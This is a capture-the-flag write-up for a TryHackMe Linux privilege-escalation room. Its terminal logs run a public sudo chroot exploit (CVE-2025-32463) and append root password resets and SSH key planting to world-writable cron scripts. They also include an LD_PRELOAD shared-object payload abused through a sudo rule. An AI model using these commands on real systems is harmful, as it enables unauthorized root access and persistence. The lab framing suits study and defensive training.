Linux Privilege Escalation: Automation
Link to the challenge on TryHackMe: Linux Privilege Escalation: Automation
Introduction
Automation earns its keep in privilege escalation the moment you stop treating it as a replacement for manual enumeration and start treating it as a force multiplier for it. This room walks through that distinction in practice: LinPEAS, LinEnum, LES, and their siblings each surface a different slice of the same target, and knowing which tool answers which question matters more than having all of them installed. No single script catches everything — kernel exploit suggesters miss misconfigured cron jobs, and enumeration scripts don't match CVEs against your kernel version. Having a few go-to tools, and knowing why you're reaching for each one, beats leaning on a single "run this and hope" script.
The path through this box touches almost every category of Linux privesc in one sitting: a kernel CVE (sudo-chwoot, CVE-2025-32463) found via Linux Exploit Suggester, a writable cron/backup script abused for password resets and SSH key planting, and an LD_PRELOAD trick against a NOPASSWD sudo rule that doesn't even look dangerous at first glance (/usr/bin/id). Each stage builds on the last, and each is a small lesson in why "check permissions on everything that runs as root" is such an unglamorous but reliable mantra.
This is why it would be better to be familiar with a few rather than having a single go-to tool.
LinPeas: Automated script that highlights privilege escalation paths across the system — misconfigs, weak permissions, credentials, and more
LinEnum: Scripted local enumeration tool that dumps system info, users, crons, and SUID binaries in a readable report
LES (Linux Exploit Suggester): Matches the kernel version against known CVEs and suggests applicable local privilege escalation exploits
Linux Smart Enumeration: Enumeration script with adjustable verbosity levels — starts quiet and reveals more detail as the level increases
Linux Priv Checker: Enumerates system info and automatically checks for common privilege escalation opportunities, flagging issues inline
wget https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh -O les.sh
./linux-exploit-suggester.sh
wget https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh -O les.sh
--2026-06-22 18:13:18-- https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh
Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 185.199.110.133, 185.199.111.133, 185.199.109.133, ...
Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|185.199.110.133|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 93960 (92K) [text/plain]
Saving to: 'les.sh'
les.sh 100<a class="embed-card" href="========================================================>">========================================================></a> 91.76K --.-KB/s in 0.003s
2026-06-22 18:13:18 (32.3 MB/s) - 'les.sh' saved [93960/93960]
root@ip-10-113-78-36:~# python3 -m http.server 8000
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
10.113.142.193 - - [22/Jun/2026 18:14:04] "GET /les.sh HTTP/1.1" 200 -
wget http://10.114.69.125:8000/les.sh
wget http://ATTACK_IP:8000/les.sh
--2026-06-22 18:14:03-- http://10.113.78.36:8000/les.sh
Connecting to 10.113.78.36:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 93960 (92K) [text/x-sh]
Saving to: ‘les.sh.1’
les.sh.1 100<a class="embed-card" href="=======================================================>">=======================================================></a> 91.76K --.-KB/s in 0s
2026-06-22 18:14:03 (439 MB/s) - ‘les.sh.1’ saved [93960/93960]
chmod +x les.sh.1
john@public-exploit:~$ ./les.sh.1
Available information:
Kernel version: 6.17.0
Architecture: x86_64
Distribution: ubuntu
Distribution version: 24.04
Additional checks (CONFIG_*, sysctl entries, custom Bash commands): performed
Package listing: from current OS
Searching among:
86 kernel space exploits
50 user space exploits
Possible Exploits:
[+] [CVE-2025-32463] sudo-chwoot
Details: https://www.stratascale.com/resource/cve-2025-32463-sudo-chroot-elevation-of-privilege/
Exposure: less probable
Tags: ubuntu=24.04.1,fedora=41
Download URL: https://github.com/mirchr/CVE-2025-32463-sudo-chwoot/archive/refs/heads/main.zip
[+] [CVE-2022-2586] nft_object UAF
Details: https://www.openwall.com/lists/oss-security/2022/08/29/5
Exposure: less probable
scp CVE-2025-32463 john@10.113.142.193:/home/john/
- http://10.113.78.36:8000/CVE-2025-32463
Connecting to 10.113.78.36:8000... connected.
HTTP request sent, awaiting response... 301 Moved Permanently
Location: /CVE-2025-32463/ [following]
--2026-06-22 18:30:56-- http://10.113.78.36:8000/CVE-2025-32463/
Connecting to 10.113.78.36:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 522 [text/html]
Saving to: ‘CVE-2025-32463’
CVE-2025-32463 100<a class="embed-card" href="=======================================================>">=======================================================></a> 522 --.-KB/s in 0s
2026-06-22 18:30:56 (50.5 MB/s) - ‘CVE-2025-32463’ saved [522/522]
john@public-exploit:~$ ls
(ALL) NOPASSWD: /usr/bin/ls
CVE & SCP
git clone https://github.com/zinzloun/CVE-2025-32463.git
Cloning into 'CVE-2025-32463'...
remote: Enumerating objects: 46, done.
remote: Counting objects: 100% (46/46), done.
remote: Compressing objects: 100% (46/46), done.
remote: Total 46 (delta 21), reused 0 (delta 0), pack-reused 0 (from 0)
Receiving objects: 100% (46/46), 20.45 KiB | 4.09 MiB/s, done.
Resolving deltas: 100% (21/21), done.
scp -r CVE-2025-32463/ john@10.113.190.29:/home/john/
john@10.113.190.29's password:
index 100% 361 417.9KB/s 00:00
description 100% 73 40.4KB/s 00:00
packed-refs 100% 112 167.5KB/s 00:00
exclude 100% 240 406.3KB/s 00:00
pack-dff08356fd10768b3363cacc001dc12afaef3ccb.rev 100% 236 335.9KB/s 00:00
pack-dff08356fd10768b3363cacc001dc12afaef3ccb.pack 100% 20KB 17.7MB/s 00:00
pack-dff08356fd10768b3363cacc001dc12afaef3ccb.idx 100% 2360 2.0MB/s 00:00
HEAD 100% 21 35.2KB/s 00:00
HEAD 100% 30 33.3KB/s 00:00
main 100% 41 15.7KB/s 00:00
config 100% 267 296.1KB/s 00:00
sendemail-validate.sample 100% 2308 3.1MB/s 00:00
prepare-commit-msg.sample 100% 1492 2.0MB/s 00:00
update.sample 100% 3650 3.1MB/s 00:00
pre-commit.sample 100% 1643 560.8KB/s 00:00
applypatch-msg.sample 100% 478 516.2KB/s 00:00
pre-rebase.sample 100% 4898 4.8MB/s 00:00
fsmonitor-watchman.sample 100% 4726 5.1MB/s 00:00
pre-push.sample 100% 1374 1.5MB/s 00:00
commit-msg.sample 100% 896 1.0MB/s 00:00
push-to-checkout.sample 100% 2783 2.6MB/s 00:00
post-update.sample 100% 189 216.8KB/s 00:00
pre-applypatch.sample 100% 424 457.8KB/s 00:00
pre-receive.sample 100% 544 690.8KB/s 00:00
pre-merge-commit.sample 100% 416 477.6KB/s 00:00
HEAD 100% 195 263.1KB/s 00:00
HEAD 100% 195 241.5KB/s 00:00
main 100% 195 322.2KB/s 00:00
LICENSE 100% 11KB 6.0MB/s 00:00
woot1337.so.2 100% 15KB 16.8MB/s 00:00
poc.sh 100% 517 749.8KB/s 00:00
README.md 100% 1654 1.5MB/s 00:00
john@public-exploit:~$ ls
CVE-2025-32463 linux-exploit-suggester
john@public-exploit:~$ cd CVE-2025-32463
john@public-exploit:~/CVE-2025-32463$ ls
LICENSE README.md poc.sh woot1337.so.2
john@public-exploit:~/CVE-2025-32463$ chmod +x poc.sh
john@public-exploit:~/CVE-2025-32463$ ./poc.sh
woot!
root@public-exploit:/# cat /root/flag.txt
THM{splo1ts-r-redacted}
pspy
./pspy64
cat /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.
SHELL=/bin/sh
# You can also override PATH, but by default, newer versions inherit it from the environment
#PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
# Example of job definition:
# .---------------- minute (0 - 59)
# | .------------- hour (0 - 23)
# | | .---------- day of month (1 - 31)
# | | | .------- month (1 - 12) OR jan,feb,mar,apr ...
# | | | | .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
# | | | | |
# * * * * * user-name command to be executed
17 * * * * root cd / && run-parts --report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.daily; }
47 6 * * 7 root test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.weekly; }
52 6 1 * * root test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.monthly; }
#
cat /etc/cron.d/*
30 3 * * 0 root test -e /run/systemd/system || SERVICE_MODE=1 /usr/lib/x86_64-linux-gnu/e2fsprogs/e2scrub_all_cron
10 3 * * * root test -e /run/systemd/system || SERVICE_MODE=1 /sbin/e2scrub_all -A -r
# The first element of the path is a directory where the debian-sa1
# script is located
PATH=/usr/lib/sysstat:/usr/sbin:/usr/sbin:/usr/bin:/sbin:/bin
# Activity reports every 10 minutes everyday
5-55/10 * * * * root command -v debian-sa1 > /dev/null && debian-sa1 1 1
# Additional run at 23:59 to rotate the statistics file
59 23 * * * root command -v debian-sa1 > /dev/null && debian-sa1 60 2
find / -type f -writable -name "*.sh" 2>/dev/null
/var/local/syslog-backup.sh
john@privesc:~$ ls -la /usr/local/bin/*.sh 2>/dev/null
john@privesc:~$ cat /var/local/syslog-backup.sh
#!/bin/bash
tar -czf "/var/backup/syslog.tar.gz" "/var/log/syslog"
john@privesc:~$ ls -la /var/local/syslog-backup.sh
-rwxrwxrwx 1 root staff 69 Jan 20 08:58 /var/local/syslog-backup.sh
john@privesc:~$ echo 'echo "root:newpass" | chpasswd' >> /var/local/syslog-backup.sh
john@privesc:~$ su
Password:
su: Authentication failure
john@privesc:~$ su
Password:
root@privesc:/home/john# pwd
/home/john
root@privesc:/home/john# cat /root/flag.txt
THM{getting-root-with-redacted}
challenge
find / -type f -perm -4000 2>/dev/null
/snap/core20/2379/usr/bin/chfn
/snap/core20/2379/usr/bin/chsh
/snap/core20/2379/usr/bin/gpasswd
/snap/core20/2379/usr/bin/mount
/snap/core20/2379/usr/bin/newgrp
/snap/core20/2379/usr/bin/passwd
/snap/core20/2379/usr/bin/su
/snap/core20/2379/usr/bin/sudo
/snap/core20/2379/usr/bin/umount
/snap/core20/2379/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core20/2379/usr/lib/openssh/ssh-keysign
/snap/core/17292/bin/mount
/snap/core/17292/bin/ping
/snap/core/17292/bin/ping6
/snap/core/17292/bin/su
/snap/core/17292/bin/umount
/snap/core/17292/usr/bin/chfn
/snap/core/17292/usr/bin/chsh
/snap/core/17292/usr/bin/gpasswd
/snap/core/17292/usr/bin/newgrp
/snap/core/17292/usr/bin/passwd
/snap/core/17292/usr/bin/sudo
/snap/core/17292/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core/17292/usr/lib/openssh/ssh-keysign
/snap/core/17292/usr/lib/snapd/snap-confine
/snap/core/17292/usr/sbin/pppd
/snap/core/17272/bin/mount
/snap/core/17272/bin/ping
/snap/core/17272/bin/ping6
/snap/core/17272/bin/su
/snap/core/17272/bin/umount
/snap/core/17272/usr/bin/chfn
/snap/core/17272/usr/bin/chsh
/snap/core/17272/usr/bin/gpasswd
/snap/core/17272/usr/bin/newgrp
/snap/core/17272/usr/bin/passwd
/snap/core/17272/usr/bin/sudo
/snap/core/17272/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core/17272/usr/lib/openssh/ssh-keysign
/snap/core/17272/usr/lib/snapd/snap-confine
/snap/core/17272/usr/sbin/pppd
/snap/core18/1885/bin/mount
/snap/core18/1885/bin/ping
/snap/core18/1885/bin/su
/snap/core18/1885/bin/umount
/snap/core18/1885/usr/bin/chfn
/snap/core18/1885/usr/bin/chsh
/snap/core18/1885/usr/bin/gpasswd
/snap/core18/1885/usr/bin/newgrp
/snap/core18/1885/usr/bin/passwd
/snap/core18/1885/usr/bin/sudo
/snap/core18/1885/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core18/1885/usr/lib/openssh/ssh-keysign
/snap/core22/1621/usr/bin/chfn
/snap/core22/1621/usr/bin/chsh
/snap/core22/1621/usr/bin/gpasswd
/snap/core22/1621/usr/bin/mount
/snap/core22/1621/usr/bin/newgrp
/snap/core22/1621/usr/bin/passwd
/snap/core22/1621/usr/bin/su
/snap/core22/1621/usr/bin/sudo
/snap/core22/1621/usr/bin/umount
/snap/core22/1621/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core22/1621/usr/lib/openssh/ssh-keysign
/snap/core22/1621/usr/libexec/polkit-agent-helper-1
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/lib/polkit-1/polkit-agent-helper-1
/usr/bin/chfn
/usr/bin/sudo
/usr/bin/umount
/usr/bin/passwd
/usr/bin/gpasswd
/usr/bin/newgrp
/usr/bin/chsh
/usr/bin/fusermount3
/usr/bin/su
/usr/bin/mount
su frank
Password:
su: Authentication failure
john@challenge:~$ ls -la /home
total 20
drwxr-xr-x 5 root root 4096 Mar 12 08:36 .
drwxr-xr-x 22 root root 4096 Jun 22 19:32 ..
drwxr-xr-x 3 frank frank 4096 Mar 12 08:37 frank
drwxr-x--- 4 john john 4096 Jun 22 19:48 john
drwxr-xr-x 5 ubuntu ubuntu 4096 May 19 05:11 ubuntu
john@challenge:~$ ls -la /home/frank
total 16
drwxr-xr-x 3 frank frank 4096 Mar 12 08:37 .
drwxr-xr-x 5 root root 4096 Mar 12 08:36 ..
drwxr-xr-x 2 frank frank 4096 Mar 12 08:37 Documents
-rw------- 1 frank frank 24 Mar 12 08:36 flag.txt
john@challenge:~$ ls -la /home/frank/Documents
total 20
drwxr-xr-x 2 frank frank 4096 Mar 12 08:37 .
drwxr-xr-x 3 frank frank 4096 Mar 12 08:37 ..
-rw-r--r-- 1 frank frank 39 Mar 12 08:37 budget-2025.csv
-rw-r--r-- 1 frank frank 41 Mar 12 08:37 meeting-notes.txt
-rw-r--r-- 1 frank frank 37 Mar 12 08:37 report-q3.txt
john@challenge:~$ cat /home/frank/Documents/meeting-notes.txt
Internal meeting-notes.txt - confidentialjohn@challenge:~$ cat /home/frank/Documents/report-q3.txt
Internal report-q3.txt - confidentialjohn@challenge:~$ cat /home/frank/Documents/budget-2025.csv
Internal budget-2025.csv - confidential
cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
john:x:1001:1001::/home/john:/bin/bash
frank:x:1002:1002::/home/frank:/bin/bash
scp -r CVE-2025-32463/ john@10.114.155.225:/home/john/
./les.sh
Available information:
Kernel version: 6.17.0
Architecture: x86_64
Distribution: ubuntu
Distribution version: 24.04
Additional checks (CONFIG_*, sysctl entries, custom Bash commands): performed
Package listing: from current OS
Searching among:
86 kernel space exploits
50 user space exploits
Possible Exploits:
[+] [CVE-2025-32463] sudo-chwoot
Details: https://www.stratascale.com/resource/cve-2025-32463-sudo-chroot-elevation-of-privilege/
Exposure: less probable
Tags: ubuntu=24.04.1,fedora=41
Download URL: https://github.com/mirchr/CVE-2025-32463-sudo-chwoot/archive/refs/heads/main.zip
[+] [CVE-2022-2586] nft_object UAF
Details: https://www.openwall.com/lists/oss-security/2022/08/29/5
Exposure: less probable
Tags: ubuntu=(20.04){kernel:5.12.13}
Download URL: https://www.openwall.com/lists/oss-security/2022/08/29/5/1
Comments: kernel.unprivileged_userns_clone=1 required (to obtain CAP_NET_ADMIN)
[+] [CVE-2021-4034] PwnKit
Details: https://www.qualys.com/2022/01/25/cve-2021-4034/pwnkit.txt
Exposure: less probable
Tags: ubuntu=10|11|12|13|14|15|16|17|18|19|20|21,debian=7|8|9|10|11,fedora,manjaro
Download URL: https://codeload.github.com/berdav/CVE-2021-4034/zip/main
[+] [CVE-2021-3156] sudo Baron Samedit
Details: https://www.qualys.com/2021/01/26/cve-2021-3156/baron-samedit-heap-based-overflow-sudo.txt
Exposure: less probable
Tags: mint=19,ubuntu=18|20, debian=10
Download URL: https://codeload.github.com/blasty/CVE-2021-3156/zip/main
[+] [CVE-2021-3156] sudo Baron Samedit 2
Details: https://www.qualys.com/2021/01/26/cve-2021-3156/baron-samedit-heap-based-overflow-sudo.txt
Exposure: less probable
Tags: centos=6|7|8,ubuntu=14|16|17|18|19|20, debian=9|10
Download URL: https://codeload.github.com/worawit/CVE-2021-3156/zip/main
[+] [CVE-2021-22555] Netfilter heap out-of-bounds write
Details: https://google.github.io/security-research/pocs/linux/cve-2021-22555/writeup.html
Exposure: less probable
Tags: ubuntu=20.04{kernel:5.8.0-*}
Download URL: https://raw.githubusercontent.com/google/security-research/master/pocs/linux/cve-2021-22555/exploit.c
ext-url: https://raw.githubusercontent.com/bcoles/kernel-exploits/master/CVE-2021-22555/exploit.c
Comments: ip_tables kernel module must be loaded
[+] [CVE-2017-5618] setuid screen v4.5.0 LPE
Details: https://seclists.org/oss-sec/2017/q1/184
Exposure: less probable
Download URL: https://www.exploit-db.com/download/https://www.exploit-db.com/exploits/41154
Attackbox
git clone https://github.com/zinzloun/CVE-2025-32463.git
Cloning into 'CVE-2025-32463'...
remote: Enumerating objects: 46, done.
remote: Counting objects: 100% (46/46), done.
remote: Compressing objects: 100% (46/46), done.
remote: Total 46 (delta 21), reused 0 (delta 0), pack-reused 0 (from 0)
Receiving objects: 100% (46/46), 20.45 KiB | 2.27 MiB/s, done.
Resolving deltas: 100% (21/21), done.
root@ip-10-114-69-125:~# scp -r CVE-2025-32463/ john@10.114.155.225:/home/john/
john@10.114.155.225's password:
index 100% 361 420.8KB/s 00:00
description 100% 73 76.7KB/s 00:00
packed-refs 100% 112 126.4KB/s 00:00
exclude 100% 240 259.0KB/s 00:00
pack-dff08356fd10768b3363cacc001dc12afaef3ccb.rev 100% 236 188.1KB/s 00:00
pack-dff08356fd10768b3363cacc001dc12afaef3ccb.pack 100% 20KB 16.9MB/s 00:00
pack-dff08356fd10768b3363cacc001dc12afaef3ccb.idx 100% 2360 2.9MB/s 00:00
HEAD 100% 21 7.8KB/s 00:00
HEAD 100% 30 35.8KB/s 00:00
main 100% 41 36.0KB/s 00:00
config 100% 267 259.8KB/s 00:00
sendemail-validate.sample 100% 2308 2.5MB/s 00:00
prepare-commit-msg.sample 100% 1492 1.6MB/s 00:00
update.sample 100% 3650 3.9MB/s 00:00
pre-commit.sample 100% 1643 1.4MB/s 00:00
applypatch-msg.sample 100% 478 435.4KB/s 00:00
pre-rebase.sample 100% 4898 4.0MB/s 00:00
fsmonitor-watchman.sample 100% 4726 3.9MB/s 00:00
pre-push.sample 100% 1374 1.3MB/s 00:00
commit-msg.sample 100% 896 1.0MB/s 00:00
push-to-checkout.sample 100% 2783 2.6MB/s 00:00
post-update.sample 100% 189 226.2KB/s 00:00
pre-applypatch.sample 100% 424 497.7KB/s 00:00
pre-receive.sample 100% 544 594.4KB/s 00:00
pre-merge-commit.sample 100% 416 319.0KB/s 00:00
HEAD 100% 194 196.5KB/s 00:00
HEAD 100% 194 241.5KB/s 00:00
main 100% 194 212.1KB/s 00:00
LICENSE 100% 11KB 10.3MB/s 00:00
woot1337.so.2 100% 15KB 11.3MB/s 00:00
poc.sh 100% 517 665.7KB/s 00:00
README.md 100% 1654 1.6MB/s 00:00
uname -r
./les.sh | head -50
find / -writable -type f -name "*.sh" 2>/dev/null
6.17.0-1013-aws
Available information:
Kernel version: 6.17.0
Architecture: x86_64
Distribution: ubuntu
Distribution version: 24.04
Additional checks (CONFIG_*, sysctl entries, custom Bash commands): performed
Package listing: from current OS
Searching among:
86 kernel space exploits
50 user space exploits
Possible Exploits:
[+] [CVE-2025-32463] sudo-chwoot
Details: https://www.stratascale.com/resource/cve-2025-32463-sudo-chroot-elevation-of-privilege/
Exposure: less probable
Tags: ubuntu=24.04.1,fedora=41
Download URL: https://github.com/mirchr/CVE-2025-32463-sudo-chwoot/archive/refs/heads/main.zip
[+] [CVE-2022-2586] nft_object UAF
Details: https://www.openwall.com/lists/oss-security/2022/08/29/5
Exposure: less probable
Tags: ubuntu=(20.04){kernel:5.12.13}
Download URL: https://www.openwall.com/lists/oss-security/2022/08/29/5/1
Comments: kernel.unprivileged_userns_clone=1 required (to obtain CAP_NET_ADMIN)
[+] [CVE-2021-4034] PwnKit
Details: https://www.qualys.com/2022/01/25/cve-2021-4034/pwnkit.txt
Exposure: less probable
Tags: ubuntu=10|11|12|13|14|15|16|17|18|19|20|21,debian=7|8|9|10|11,fedora,manjaro
Download URL: https://codeload.github.com/berdav/CVE-2021-4034/zip/main
[+] [CVE-2021-3156] sudo Baron Samedit
Details: https://www.qualys.com/2021/01/26/cve-2021-3156/baron-samedit-heap-based-overflow-sudo.txt
Exposure: less probable
Tags: mint=19,ubuntu=18|20, debian=10
Download URL: https://codeload.github.com/blasty/CVE-2021-3156/zip/main
[+] [CVE-2021-3156] sudo Baron Samedit 2
Details: https://www.qualys.com/2021/01/26/cve-2021-3156/baron-samedit-heap-based-overflow-sudo.txt
Exposure: less probable
/opt/scripts/backup.sh
/home/john/CVE-2025-32463/poc.sh
/home/john/les.sh
cat /opt/scripts/backup.sh
#!/bin/bash
tar czf /tmp/backup-$(date +%Y%m%d).tar.gz /home/frank/Documents 2>/dev/null
john@challenge:~$ ls -la /opt/scripts/backup.sh
-rwxrwxrwx 1 frank frank 89 Mar 12 08:37 /opt/scripts/backup.sh
echo 'cp /home/frank/flag.txt /tmp/flag.txt && chmod 644 /tmp/flag.txt' >> /opt/scripts/backup.sh
john@challenge:~$ cat /frank/flag.txt
cat: /frank/flag.txt: No such file or directory
john@challenge:~$ cat /tmp/flag.txt
THM{Frank_Pwned_redacted}
ssh-keygen -f /tmp/frankkey -N ""
Generating public/private ed25519 key pair.
Your identification has been saved in /tmp/frankkey
Your public key has been saved in /tmp/frankkey.pub
The key fingerprint is:
SHA256:dl1ELe/bfCdppuPwgcbIsTg2Htm+i1wdcq2SDnS+r+0 john@challenge
The key's randomart image is:
+--[ED25519 256]--+
| .o. |
| .. .|
| .o |
| o . .|
| . S + o . |
| . O @ + .|
| O X B . oo|
| + X = o..=.=|
| + B*E.+= .o|
+----[SHA256]-----+
john@challenge:~$ echo 'mkdir -p /home/frank/.ssh && cat /tmp/frankkey.pub >> /home/frank/.ssh/authorized_keys && chmod 600 /home/frank/.ssh/authorized_keys' >> /opt/scripts/backup.sh
john@challenge:~$ ssh -i /tmp/frankkey frank@10.114.155.225
Welcome to Ubuntu 24.04.4 LTS (GNU/Linux 6.17.0-1013-aws x86_64)
frank@challenge:~$ sudo -l
Matching Defaults entries for frank on challenge:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty,
env_keep+=LD_PRELOAD
User frank may run the following commands on challenge:
(root) NOPASSWD: /usr/bin/id
frank@challenge:~$ which gcc
/usr/bin/gcc
frank@challenge:~$ cat >> /opt/scripts/backup.sh << 'EOF'
cat > /tmp/shell.c << 'CEOF'
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("/bin/bash -c 'echo root:newpass | chpasswd'");
}
CEOF
gcc -fPIC -shared -o /tmp/shell.so /tmp/shell.c -nostartfiles
sudo LD_PRELOAD=/tmp/shell.so /usr/bin/id
EOF
su
Password:
root@challenge:/home/frank# cat /root/flag.txt
THM{Priv_Ch@l_redacted}
Conclusion
What stands out across this whole chain isn't any single exploit — it's the pattern of trust that keeps getting misplaced. A world-writable backup script running out of cron is functionally the same vulnerability as a misconfigured sudoers entry: something running with elevated privileges that a lower-privileged user can influence. Whether that influence comes through a writable file, an inherited environment variable like LD_PRELOAD, or a kernel bug, the underlying question is identical — what can this user reach that a root-owned process will later trust?
The LD_PRELOAD escalation is the neatest illustration of that principle here. sudo -l showing NOPASSWD: /usr/bin/id looks almost like a joke of a privilege — until you notice env_keep+=LD_PRELOAD sitting in the Defaults line. id itself never needed to be dangerous; the environment it was allowed to inherit was. That's a good one to keep in the reference pile: sudo rules are only as safe as the environment variables sudo has been told to preserve.
Running through LinPEAS, LES, and manual checks side by side on the same box is also worth internalizing as a workflow, not just a tool list — automation gets you to candidate paths fast, but confirming and chaining them (write access, cron timing, environment inheritance) is still manual work. That combination is what actually gets you root, and it's the muscle worth building for OSCP and PT1 boxes that won't hand you a CVE suggestion on a silver platter.
